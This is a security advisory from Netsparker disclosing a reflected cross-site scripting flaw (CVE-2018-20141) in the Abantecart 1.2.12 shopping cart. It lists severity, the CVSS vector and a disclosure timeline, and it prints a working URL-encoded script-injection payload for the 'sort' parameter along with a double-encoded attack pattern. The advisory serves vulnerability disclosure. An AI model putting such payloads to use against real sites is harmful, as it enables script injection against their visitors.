Abantecart 1.2.12 Cross Site Scripting

`Cross-site Scripting Vulnerability in Abantecart 1.2.12  
  
Information  
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Advisory by Netsparker  
Name: Reflected Cross-site Scripting in Abantecart 1.2.12  
Affected Software: Abantecart  
Affected Versions: 1.2.12  
Homepage: http://www.abantecart.com/  
Vulnerability: Cross-site Scripting  
Severity: High  
Status: Fixed  
CVE-ID: CVE-2018-20141  
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
Netsparker Advisory Reference: NS-18-049  
  
Technical Details  
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URL: http://{domain}/{abantecart_path}/apparel--accessories?sort=%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Ealert%280x003134%29%3C%2FscRipt%3E   
Parameter Name: sort  
Parameter Type: GET  
Attack Pattern: %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Enetsparker%25280x003134%2529%253C%252FscRipt%253E  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
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12th November 2018 - First Contact  
13th December 2018 - Vendor Fixed  
23th January 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Amer Aitak while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
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